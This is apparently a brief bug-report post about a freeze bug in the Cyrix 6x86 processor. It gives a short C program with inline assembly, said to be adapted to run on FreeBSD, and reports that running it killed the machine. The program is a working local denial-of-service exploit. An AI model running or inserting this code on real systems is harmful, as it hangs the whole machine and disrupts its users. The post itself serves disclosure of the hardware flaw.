Ragnar Hojland Espinosa [ragnar@redestb.es] mailed me a
modified version of the freeze program that runs on FreeBSD:
int main()
{
asm ("foo:");
asm ("cwtl");
asm ("orl $0xe6ebe020,%eax");
asm ("jle foo");
asm ("addb %al,(%eax)");
return 0;
}
I compiled and ran it, the machine was dead.
CPU: Cyrix 6x86 (486-class CPU)
Origin = "CyrixInstead" DIR=0x2231 Stepping=2 Revision=2
Running at 150 mhz.
